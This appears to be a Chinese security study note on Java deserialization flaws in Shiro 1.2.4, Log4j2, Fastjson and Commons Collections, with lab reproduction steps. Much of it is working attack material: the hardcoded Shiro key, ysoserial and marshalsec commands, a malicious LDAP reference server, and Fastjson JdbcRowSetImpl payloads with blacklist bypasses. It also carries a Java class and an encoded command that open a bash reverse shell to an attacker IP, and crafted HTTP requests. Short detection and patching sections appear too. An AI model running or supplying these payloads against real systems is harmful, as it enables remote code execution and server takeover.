https://docs.oracle.com/javase/8/docs/platform/serialization/spec/protocol.html#a10258
详细格式如上
如果两个包不在一个路径下,需要引入依赖
序列化
java.io.ObjectOutputStream.writeObject()
反序列化
java.io.ObjectInputStream.readObject()
如果在序列化的时候 override 了 readobject,那么在反序列化的时候就不会再执行 OOI 的代码
如果此时重写的代码中含有可控参数,那么会造成漏洞
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import java.io.IOException;import java.io.Serializable;public class UnsafeClass implements Serializable { public String name; private void readObject (java.io.ObjectInputStream in) throws IOException, ClassNotFoundException { in.defaultReadObject(); Runtime.getRuntime().exec("calc.exe" ); } }
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import java.io.*;public class UnsafeTest { public static void main (String args[]) throws Exception { UnsafeClass Unsafe = new UnsafeClass (); Unsafe.name = "hacked by wuya" ; FileOutputStream fos = new FileOutputStream ("D:/wuya.yyy" ); ObjectOutputStream os = new ObjectOutputStream (fos); os.writeObject(Unsafe); os.close(); FileInputStream fis = new FileInputStream ("D:/wuya.yyy" ); ObjectInputStream ois = new ObjectInputStream (fis); UnsafeClass objectFromDisk = (UnsafeClass) ois.readObject(); System.out.println(objectFromDisk.name); ois.close(); } }
那么我们要利用这个漏洞,就需要找到一些重写了 readobject 的类,同时 readobject 类中可以接受参数:
1 2 3 4 5 package sun.reflect.annotation; AnnotationInvocationHandler package javax.management; BadAttributeValueExpException
# Shiro 1.2.4 反序列化
Apache Shiro 是一款开源安全框架,提供身份验证、授权、密码学和会话管理。Shiro 框架直观、易用,同时也能提供健壮的安全性。
rememberMe 生成过程:序列化→AES 加密→Base64 编码→生成 rememberMe 内容。
服务端接收 Cookie 值时:检索 Cookie 中的 rememberMe 内容→Base64 解密→AES 解密 (加密密钥硬编码)→反序列化 (未做处理)。
Apache Shiro 默认使用了 CookieRememberMeManager,其处理 Cookie 的流程:得到 rememberMe 的 Cookie 值→Base64 解码→AES 解密→反序列化。然而 AES 的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列化的 RCE 漏洞。
关键因素:AES 的加密密钥在 Shiro 的 1.2.4 之前版本中使用的是硬编码:kPH+bIxk5D2deZiIxcaaaA==,只要找到密钥后就可以通过构造恶意的序列化对象进行编码,加密,然后作为 Cookie 加密发送,服务端接收后会解密并触发反序列化漏洞。在 1.2.4 之后,ASE 秘钥就不为默认了,需要获取到 Key 才可以进行渗透
在不选择 remember-me 的时候该字段为 delete me,勾选后为刚刚加密的数据
Vulhub - Docker-Compose file for vulnerability environment
登录过程
验证过程
JRMP 全称为 Java Remote Method Protocol,也就是 Java 远程方法协议
利用方式 1
利用方式 2
漏洞特征
set-cookie 是否存在 remeberMe=deleteMe
fofa dork
header= “rememberme=deleteMe” 、header= “shiroCookie”
检测工具
1、shiro_tool.jar 纯字符版
2、ShiroExploitV2.51
3、shiro_attack-v2.0.jar
硬编码的 aeskey
复现:
1. 攻击机监听 nc -lvvp 7777
2. 生成 payload,并编码
bash -i >& /dev/tcp/192.168.142.132/7777 0>&1
工具:https://ares-x.com/tools/runtime-exec/
结果:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0Mi4xMzIvNzc3NyAwPiYx}|{base64,-d}|
3. 攻击机连接 JRMP
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 8888 CommonsCollections5 “bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0Mi4xMzIvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}”
4. 生成 cookie
1 2 3 python3 shiro.py 192.168.142.132:8888 结果: rememberMe=+DcRVRC3TxGKeuGHa4TZSWqqLtQGyPvE0mjicSb4nm6nUdC6PwNxo6ZgbQLuHr8wq3ECYQVLqKXaECtmKQhW91hbrn3XgJzn3XRUgNEciP3dQpQcOO1ID+vsns3qmyd6SMva5e+cX7z74AwVAK2i0cwc/AmnVUV/oCdA9nHPcb6b5EH23bkrLuafb5Ij7e6t+X1pZunOUFbquQqrBCW4D+hmUS+g93brv5cpLDmR5DWkh7yqWyTXMWKzZqRP0iW/x1gOFVZ3wPv2CYZhvQlH3jpk7nxq5gf5rfCgQ7T8R7OJ66zQc92gx0kbInRJ/QT3v19RF3Jn/q7fBGyX2/LDDdjPzd4DYBMj3CgH3Cx4FuElMv4364VTknFZqVj4gMsfGS2OA9NZ/2jVIFhTdhvU3w==
5. 发送 payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 POST /doLogin HTTP/1.1 Host: 192.168.142.128:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 47 Origin: http://192.168.142.128:8080 Connection: close Referer: http://192.168.142.128:8080/doLogin Cookie: JSESSIONID=BE2042921ED0A1E58436F6FBD5654581;rememberMe=+DcRVRC3TxGKeuGHa4TZSWqqLtQGyPvE0mjicSb4nm6nUdC6PwNxo6ZgbQLuHr8wq3ECYQVLqKXaECtmKQhW91hbrn3XgJzn3XRUgNEciP3dQpQcOO1ID+vsns3qmyd6SMva5e+cX7z74AwVAK2i0cwc/AmnVUV/oCdA9nHPcb6b5EH23bkrLuafb5Ij7e6t+X1pZunOUFbquQqrBCW4D+hmUS+g93brv5cpLDmR5DWkh7yqWyTXMWKzZqRP0iW/x1gOFVZ3wPv2CYZhvQlH3jpk7nxq5gf5rfCgQ7T8R7OJ66zQc92gx0kbInRJ/QT3v19RF3Jn/q7fBGyX2/LDDdjPzd4DYBMj3CgH3Cx4FuElMv4364VTknFZqVj4gMsfGS2OA9NZ/2jVIFhTdhvU3w== Upgrade-Insecure-Requests: 1 username=a&password=b&rememberme=remember-me
修复和防御
1 2 1、升级Apache Shiro到最版本 2、部署安全产品
# log4j2 反序列化
Log for Java,Apache 的开源日志记录组件,使用非常广泛
使用方法:
1、pom 引入依赖
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <dependencies> <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core --> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.14.1</version> </dependency> <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api --> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-api</artifactId> <version>2.14.1</version> </dependency> <dependency> <groupId>com.unboundid</groupId> <artifactId>unboundid-ldapsdk</artifactId> <version>6.0.3</version> </dependency> <dependency> <groupId>mysql</groupId> <artifactId>mysql-connector-java</artifactId> <version>5.1.35</version> </dependency> </dependencies>
2、获得 logger 实例
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; public class Log4JTest { private static final Logger logger = LogManager.getLogger(Log4JTest.class); public static void main(String[] args) { System.out.println("wuya 666"); // logger.error("wuya 666"); //logger.error("${java:runtime} - ${java:vm} - ${java:os}"); } }
3、其中 Log4j 包括的日志等级层级分别为:ALL < DEBUG < INFO < WARN < ERROR < FATAL < OFF。
在默认情况下,会输出 WARN/ERROR/FATAL 等级的日志。可以使用配置文件更改日志输出等级:
log4j2 日志与 print 的区别
可以输出到文件
可以输出不同类型级别的日志
上线时不需要修改,不需要删除 println
便于分析追溯切割
LDAP
轻量级目录访问协议
目录是一个为查询、浏览和搜索而优化的专业分布式数据库,它呈树状结构组织数据,就好象 Linux/Unix 系统中的文件目录一样。
可以通过 LDAP 协议,传一个 name 进去,就能获取到数据。
LDAP 在统一身份认证领域比较多,比如 Windows 的域环境
LDAP 的树状结构组织数据
LDAP 适合 C/S 架构,SSO (单点登录) 适合 B/S 架构
JNDI
Java 命名和目录接口(命名服务接口)
用于根据名字找到位置、服务、信息、资源、对象等 K V
可以理解为有一个类似于字典的数据源,你可以通过 JNDI 接口,传一个 name 进去,就能获取到对象了。
JNDI 基本操作:
1、发布服务(名字和资源的映射): bind ()
2、用名字查找资源: lookup ()
采用 JNDI 方式连接数据库,我们无需在关注数据库的连接参数,当参数改变,我们的调用代码不发生改变
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public void jndiConnet() throws SQLException, NamingException { Context ctx=new InitialContext(); Object datasourceRef=ctx.lookup("java:jdbc/mydatasource"); DataSource ds=(DataSource)datasourceRef; Connection conn=ds.getConnection(); Statement st=conn.createStatement(); ResultSet rs=st.executeQuery("select * from users where id =1 "); while(rs.next()){ System.out.println( "name:"+rs.getString("name")+"\n" +"password:"+rs.getString("password")); } rs.close(); st.close(); conn.close(); }
JNDI 可以访问:
LDAP 目录服务、RMI 远程方法调用、DNS、XNam 、Novell 目录服务、 CORBA 对象服务、文件系统、WindowsXP/2000/NT/Me/9x 的注册表、DSMLv1&v2、NIS
而这些通过 lookup 方法完成
lookup
假如现在想要通过日志输出一个 Java 对象,但这个对象不在程序中,而是在其他地方,比如可能在某个文件中,甚至可能在网络上的某个地方,可以使用 lookup 查找
lookup 相当于是一个接口,具体去哪里查找,怎么查找,就需要编写具体的模块去实现了,类似于面向对象编程中多态那意思。
JNDI 可以使用 lookup 查找 docker,java,jndi,log4j 等内容
JNDI 和 LDAP 关系
$
通过名字,查找(lookup)LDAP 的服务,获取 LDAP 中存储的数据
下面举了个例子,通过 JNDI 查找 LDAP 中的 UID 和 DN
server:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 public class LDAPSeriServer { private static final String LDAP_BASE = "dc=example,dc=com"; public static void main(String[] args) throws IOException { int port = 7389; try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen", //$NON-NLS-1$ InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$ port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault())); config.setSchema(null); config.setEnforceAttributeSyntaxCompliance(false); config.setEnforceSingleStructuralObjectClass(false); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); ds.add("dn: " + "dc=example,dc=com", "objectClass: top", "objectclass: domain"); ds.add("dn: " + "ou=employees,dc=example,dc=com", "objectClass: organizationalUnit", "objectClass: top"); ds.add("dn: " + "uid=wuya,ou=employees,dc=example,dc=com", "objectClass: ExportObject"); System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$ ds.startListening(); } catch (Exception e) { e.printStackTrace(); } } }
client
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 public class JNDIClient { public static void main(String[] args) throws NamingException { Hashtable<String, Object> env = new Hashtable<String, Object>(); env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory"); env.put(Context.PROVIDER_URL, "ldap://localhost:7389/dc=example,dc=com"); //env.put(Context.SECURITY_AUTHENTICATION, "simple"); //env.put(Context.SECURITY_PRINCIPAL, "cn=admin,dc=wuya,dc=net"); //env.put(Context.SECURITY_CREDENTIALS, "wuya"); DirContext ctx = new InitialDirContext(env); SearchControls searchControls = new SearchControls(); searchControls.setSearchScope(SearchControls.SUBTREE_SCOPE); searchControls.setCountLimit(10); NamingEnumeration<SearchResult> namingEnumeration = ctx.search("", "(uid=*)", new Object[]{}, searchControls); //通过名称查找远程对象,假设远程服务器已经将一个远程对象与名称绑定了 ctx.lookup("ldap://localhost:7389/ou=employees,dc=example,dc=com"); while (namingEnumeration.hasMore()) { SearchResult sr = namingEnumeration.next(); System.out.println("DN: " + sr.getName()); System.out.println(sr.getAttributes().get("uid")); //System.out.println("Password:" + new String((byte[]) sr.getAttributes().get("userPassword").get())); } ctx.close(); } }
JNDI 命名引用(Naming Reference)
1、在 LDAP 里面可以存储一个外部的资源,叫做命名引用,对应 Reference 类比如远程 HTTP 服务的一个.class 文件
2、如果 JNDI 客户端,在 LDAP 服务中找不到对应的资源 (test),就去指定的地址请求。如果是命名引用,会把这个文件下载到本地
3、如果下载的.class 文件包含无参构造函数或静态方法块,加载的时候会自动执行
下面还有个例子,比如我们现在的 naming reference 是 Exploit,那么在 LDAP 服务中找不到对应的资源,会把刚刚的 class 下载到本地
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 public class LDAPRefServer { private static final String LDAP_BASE = "dc=example,dc=com"; /** * class地址 用#Exploit代替Exploit.class */ private static final String EXPLOIT_CLASS_URL = "http://192.168.142.66:80/#Exploit"; public static void main(String[] args) { int port = 7912; try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen", InetAddress.getByName("0.0.0.0"), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault())); config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(EXPLOIT_CLASS_URL))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println("Listening on 0.0.0.0:" + port); ds.startListening(); } catch (Exception e) { e.printStackTrace(); } } private static class OperationInterceptor extends InMemoryOperationInterceptor { private URL codebase; public OperationInterceptor(URL cb) { this.codebase = cb; } @Override public void processSearchResult(InMemoryInterceptedSearchResult result) { String base = result.getRequest().getBaseDN(); Entry e = new Entry(base); try { sendResult(result, base, e); } catch (Exception e1) { e1.printStackTrace(); } } protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws LDAPException, MalformedURLException { URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class")); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); e.addAttribute("javaClassName", "Calc"); String cbstring = this.codebase.toString(); int refPos = cbstring.indexOf('#'); if (refPos > 0) { cbstring = cbstring.substring(0, refPos); } e.addAttribute("javaCodeBase", cbstring); e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$ e.addAttribute("javaFactory", this.codebase.getRef()); result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); } } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import java.io.IOException; public class Exploit { public Exploit() { } static { try { Runtime.getRuntime().exec("calc"); } catch (IOException var1) { var1.printStackTrace(); } } }
漏洞原理分析
payload:
logger.error("${jndi:ldap://wuya.com:5678/test}");
1. 首先攻击者控制远程 http 服务器和 ldap 目录服务,http 服务器上存在恶意静态方法,LDAP 目录服务上?
2. 攻击者通过一些方法传入我们的 payload
由于 java 中 {} 可以解析变量
1 2 3 4 5 6 7 public class Main { private static final Logger logger = LogManager.getLogger(); public static void main(String[] args) { String content = "world"; logger.trace("hello {}",content); } }
1 2 3 4 5 6 7 8 9 10 11 12 13 public class Main { private static final Logger logger = LogManager.getLogger(); public static void main(String[] args) { String content = "world"; logger.trace("hello {}",content); //https://logging.apache.org/log4j/2.x/manual/lookups.html String content2 = "${java:os}"; logger.trace("hello {}",content2); String content3 = "${java:vm}"; logger.trace("hello {}",content3); } }
进一步解析 {},发现是 JNDI 扩展内容。
再进一步解析,发现了是 LDAP 协议,LDAP 服务器在 127.0.0.1,要查找的 key 是 exploit。
最后,调用具体负责 LDAP 的模块去请求对应的数据。
3。从指定动态地址下载对象。由于 ldap 目录中不存在 Exploit 类,因此会向远程 http 服务器请求
通过命令引用可以远程下载一个 class 文件,然后下载后加载起来构建对象。
由于代码在 NamingManager.java 中创建实例,导致静态方法自动执行,如果远程下载的文件中有恶意代码,也会自动执行
1 2 3 4 @SuppressWarnings("deprecation") // Class.newInstance ObjectFactory result = (clas != null) ? (ObjectFactory) clas.newInstance() : null; return result;
影响版本
1、使用了 log4j 的组件,并且版本在 2.x <= 2.14.1
2、JDK 版本小于 8u191、7u201、6u211
资产排查
1、pom 版本检查
2、可以通过检查日志中是否存在 “jndi:ldap://” 、“jndi:rmi” 、 “dnslog.cn ” 等字符来发现可能的攻击行为。
3、检查日志中是否存在相关堆栈报错,堆栈里是否有 JndiLookup、ldapURLContext、getObjectFactoryFromReference 等与 jndi 调用相关的堆栈信息
修复思路
1、禁止用户请求参数出现攻击关键字
2、禁止 lookup 下载远程文件(命名引用)
3、禁止 Log4j 的应用连接外网
4、禁止 Log4j 使用 lookup
5、从 Log4j jar 包中中删除 lookup 2.10 以下
1、将 Log4j 框架升级到 2.17.1 版本
2、使用安全产品防护:WAF、RASP……
临时方案
1、升级 JDK
2、修改 Log4j 配置
3、删除 JndiLookup.class
1、设置参数:
log4j2.formatMsgNoLookups=True
2、修改 JVM 参数:
-Dlog4j2.formatMsgNoLookups=true
3、系统环境变量:
FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为 true
4、禁止使用了 Log4j2 的应用所在服务器外连
(70 条消息) log4j2 漏洞_Archie_java 的博客 - CSDN 博客_log4j2 漏洞
浅谈 Log4j2 漏洞 | NOSEC 安全讯息平台 - 白帽汇安全研究院
# fastjson 反序列化
https://github.com/alibaba/fastjson/wiki/Quick-Start-CN 1.2.76
l 速度快
l 使用广泛
l 测试完备
l 使用简单
l 功能完备
序列化的时候,会调用成员变量的 get 方法,私有成员变量不会被序列化。
反序列化的时候,会调用成员变量的类的构造方法,set 方法,public 修饰的成员全部自动赋值。
反序列化代码
1 2 3 4 JSON.parseObject() 返回实际类型对象,显示指定对象 User user1 = JSON.parseObject(serializedStr, User.class); JSON.parse() 返回JsonObject对象,需要强制类型转换 Object obj1 =JSON.parse(serializedStr);
测试代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.ParserConfig;public class JsonTest { public static void main (String[] args) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true ); String serializedStr = "{\"@type\":\"com.wuya.test.User\",\"name\":\"wuya\",\"age\":66, \"flag\": true,\"sex\":\"boy\",\"address\":\"china\"}" ; System.out.println("serializedStr=" + serializedStr); System.out.println("-----------------------------------------------\n\n" ); System.out.println("JSON.parse(serializedStr):" ); Object obj1 = JSON.parse(serializedStr); System.out.println("parse反序列化对象名称:" + obj1.getClass().getName()); System.out.println("parse反序列化:" + obj1); System.out.println("-----------------------------------------------\n" ); System.out.println("JSON.parseObject(serializedStr):" ); Object obj2 = JSON.parseObject(serializedStr); System.out.println("parseObject反序列化对象名称:" + obj2.getClass().getName()); System.out.println("parseObject反序列化:" + obj2); System.out.println("-----------------------------------------------\n" ); System.out.println("JSON.parseObject(serializedStr, Object.class):" ); Object obj3 = JSON.parseObject(serializedStr, Object.class); System.out.println("parseObject反序列化对象名称:" + obj3.getClass().getName()); System.out.println("parseObject反序列化:" + obj3); System.out.println("-----------------------------------------------\n" ); System.out.println("JSON.parseObject(serializedStr, User.class):" ); Object obj4 = JSON.parseObject(serializedStr, User.class); System.out.println("parseObject反序列化对象名称:" + obj4.getClass().getName()); System.out.println("parseObject反序列化:" + obj4); System.out.println("-----------------------------------------------\n" ); } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 ----------------------------------------------- JSON.parse(serializedStr): call User default Constructor call User setName call User setAge call User setFlag parse反序列化对象名称:com.wuya.test.User parse反序列化:User{name='wuya', age=66, flag=true, sex='boy', address='null'} ----------------------------------------------- JSON.parseObject(serializedStr): call User default Constructor call User setName call User setAge call User setFlag call User getAge call User isFlag call User getName parseObject反序列化对象名称:com.alibaba.fastjson.JSONObject parseObject反序列化:{"flag":true,"sex":"boy","name":"wuya","age":66} ----------------------------------------------- JSON.parseObject(serializedStr, Object.class): call User default Constructor call User setName call User setAge call User setFlag parseObject反序列化对象名称:com.wuya.test.User parseObject反序列化:User{name='wuya', age=66, flag=true, sex='boy', address='null'} ----------------------------------------------- JSON.parseObject(serializedStr, User.class): call User default Constructor call User setName call User setAge call User setFlag parseObject反序列化对象名称:com.wuya.test.User parseObject反序列化:User{name='wuya', age=66, flag=true, sex='boy', address='null'} -----------------------------------------------
@ type 自省
我们可以发现,在反序列化是没有类名的,可以通过自省传入类名。
但不包含类名的问题是,当子类中包含接口或抽象类的时候,类型丢失
1 2 3 {name='wuya', age=66, flag=true, sex='boy', address='null'} {"@type":"com.wuya.test.User","age":33,"flag":false,"name":"wuya"}
利用自省功能传入恶意类实现攻击
这个 JSON 反序列化接口处,我们传入恶意的 JSON,就可以调用任意类的构造方法以及属性相关的 get,set 方法。 如果某类的相关方法里有危险的代码(如执行某个命令),我们就可以构造恶意 JSON 达到 RCE 的作用。
利用类
com.sun.rowset.JdbcRowSetImpl
dataSourceName 支持传入一个 rmi 的源,可以实现 JNDI 注入攻击
# 1.2.14 CNVD-2017-02833
复现
1 2 3 4 1、vulhub启动靶场 2、Kali 用marshalsec启动LDAP/RMI服务 3、Kali 用python启动HTTP服务,存放恶意类 4、Kali 用netcat监听端口,建立反弹连接
切换 python 版本
1 2 3 4 5 6 7 配置 update-alternatives --install /usr/bin/python python /usr/bin/python2 100 update-alternatives --install /usr/bin/python python /usr/bin/python3 150 切换版本 update-alternatives --config python
配置 jre 版本
1 2 3 4 5 6 7 8 vim /etc/profile export JAVA_HOME=/usr/local/soft/java/jdk1.8.0_74 export PATH=$JAVA_HOME/bin:$PATH export CLASSPATH=.:$JAVA_HOME/lib/dt.jar:$JAVA_HO ME/lib/tools.jar source /etc/profile
攻击:
1 2 3 编写恶意代码LinuxTouch,编译为class python -m http.server 8089 #python3 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.142.132:8089/#LinuxTouch" 9473
payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 POST / HTTP/1.1 Host: 192.168.142.128:8090 Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/json Content-Length: 146 { "b": { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "rmi://192.168.142.132:9473/LinuxTouch", "autoCommit": true } }
原理:
1.JdbcRowSetImpl
payload 中反序列化时传入了 dataSourceName 和 autoCommit
那么按照上面的反序列化过程一定会调用 setDataSourceName 和 setautoCommit
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 public void setDataSourceName(String dsName) throws SQLException{ if(getDataSourceName() != null) { if(!getDataSourceName().equals(dsName)) { super.setDataSourceName(dsName); conn = null; ps = null; rs = null; } } else { super.setDataSourceName(dsName); } }
setautoCommit
setautoCommit 调用 connect (),connect () 会对 dataSourceName 属性进行一个 InitialContext.lookup (dataSourceName), 从而实现 JNDI 注入。找到恶意服务器上下载代码并执行
修复
1 2 默认不使用autotype com.sun.rowset.jdbcRowSetlmpl被加入了黑名单
bypass 1
所以在 autotypesupport 开启时,我们可以构造如下 payload 来 bypass
1 {"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://ip:1099","autoCommit":true}
“至于为什么会有这种奇怪的处理,L 和;这一对字符其实是 JVM 字节码中用来表示类名的:”
1 2 3 4 if (className.startsWith ("L" ) && className.endsWith (";" )) { String newClassName = className.substring (1 , className.length () - 1 ); return loadClass (newClassName, classLoader); }
bypass2
双写
1 2 3 4 5 { "@type":"LLcom.sun.rowset.JdbcRowSetImpl;;", "dataSourceName":"ldap://127.0.0.1:2357/Command8", "autoCommit":true }
# 1.2.47 CNVD-2017-22238
通过反弹连接的方式
1 2 3 4 5 nc -lvp 9001 编写恶意代码LinuxRevers,编译为class python -m http.server 8089 #python3 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.142.132:8089/#LinuxRevers" 9473
1 2 3 4 5 6 7 8 9 10 11 12 //LinuxRevers.java public class LinuxRevers { static { try { Runtime rt = Runtime.getRuntime(); String[] commands = {"/bin/bash", "-c", "bash -i >& /dev/tcp/192.168.142.132/9001 0>&1"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { } } }
payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 POST / HTTP/1.1 Host: 192.168.142.128:8090 Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/json Content-Length: 268 {"a":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl"}, "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://192.168.142.132:9473/LinuxRevers", "autoCommit":true } }
在 1.2.47 版本及以下的情况下,loadClass 中默认 cache 为 true,首先使用 java.lang.Class 把获取到的类缓存到 mapping 中,然后直接从缓存中获取到了 com.sun.rowset.jdbcRowSetlmpl 这个类,即可绕过黑名单。
漏洞挖掘
1、找到发送 JSON 序列化数据的接口
2、判断是否使用 fastjon
1)非法格式报错
{“x”:"
2)使用 dnslog 探测
{“x”:{"@type":“java.net.Inet4Address” , “val”:“xxx.dnslog.cn ”}}
Burp 插件
https://github.com/zilong3033/fastjsonScan
修复
1、升级 JDK
6u211 / 7u201 / 8u191 /11.0.1
2、升级 Fastjson 到最新版
fastjson.parser.safeMode=true
3、使用安全产品过滤非法内容
4、更换其它序列化工具
Jackson/Gson
浅析 FastJSON 反序列化漏洞(1.2.24——1.2.68) - 腾讯云开发者社区 - 腾讯云 (tencent.com)
# Apache Common Collections 反序列化漏洞
复现环境:
1 2 3 jdk 1.7.0_80 IDEA Project Structrure、Settings——Javacompile等设置成java7 Apache Commons Collections ≤ 3.2.1
Common Collections 提供了很多新的数据结构:
1 2 3 4 5 6 7 8 9 10 11 Bag interface for collections that have a number of copies of each object BidiMap interface for maps that can be looked up from value to key as well and key to value MapIterator interface to provide simple and quick iteration over maps Transforming decorators that alter each object as it is added to the collection Composite collections that make multiple collections look like one Ordered maps and sets that retain the order elements are added in, includingan LRU based map Reference map that allows keys and/or values to be garbage collected underclose control Many comparator implementations Many iterator implementations Adapter classes from array and enumerations to collections Utilities to test or create typical set-theory properties of collections such asunion, intersection, and closure
反射:
class 文件以 CA FE BA BE 开头
在程序运行的时候动态创建一个类的实例,调用实例的方法和访问它的属性
1 2 3 4 5 6 7 8 9 10 11 12 public static void test2(){ try { //初始化Runtime类 Class clazz = Class.forName("java.lang.Runtime"); // 调用Runtime类中的getRuntime方法得到Runtime类的对象 Object rt = clazz.getMethod("getRuntime").invoke(clazz); //再次使用invoke调用Runtime类中的方法时,传递我们获得的对象,这样就可以调用 clazz.getMethod("exec",String.class).invoke(rt,"calc"); }catch (Exception e){ e.printStackTrace(); } }
详细的上面有详细解释,具体可以看上面
# 利用链 1
关键类:
1 2 3 4 5 6 7 8 9 10 InvokeTransformer 利用Java反射机制来创建类实例 ChainedTransformer 实现了Transformer链式调用,我们只需要传入一个Transformer数组ChainedTransformer就可以实现依次的去调用每一个Transformer的transform()方法 ConstantTransformer transform()返回构造函数的对象 TransformedMap
1.InvokerTransformer
这个 transform (Object input) 中使用 Java 反射机制调用了 input 对象的一个方法,而该方法名是实例化 InvokerTransformer 类时传入的 iMethodName 成员变量:
功能函数 transform 需要传入一个对象,然后执行构造函数中给定的方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 public class InvokerTransformer implements Transformer , Serializable { static final long serialVersionUID = -8653385846894047688L ; private final String iMethodName; private final Class[] iParamTypes; private final Object[] iArgs; public Object transform (Object input) { if (input == null ) { return null ; } else { try { Class cls = input.getClass(); Method method = cls.getMethod(this .iMethodName, this .iParamTypes); return method.invoke(input, this .iArgs); } catch (NoSuchMethodException var5) { throw new FunctorException ("InvokerTransformer: The method '" + this .iMethodName + "' on '" + input.getClass() + "' does not exist" ); } catch (IllegalAccessException var6) { throw new FunctorException ("InvokerTransformer: The method '" + this .iMethodName + "' on '" + input.getClass() + "' cannot be accessed" ); } catch (InvocationTargetException var7) { throw new FunctorException ("InvokerTransformer: The method '" + this .iMethodName + "' on '" + input.getClass() + "' threw an exception" , var7); } } } }
测试代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 import org.apache.commons.collections.functors.InvokerTransformer;public class TransTest1 { public static void main (String[] args) { InvokerTransformer invokerTransformer = new InvokerTransformer ( "exec" , new Class []{String.class}, new String []{"Calc.exe" } ); try { Object input = Runtime.getRuntime(); invokerTransformer.transform(input); }catch (Exception e){ e.printStackTrace(); } } }
2.ChainedTransformer
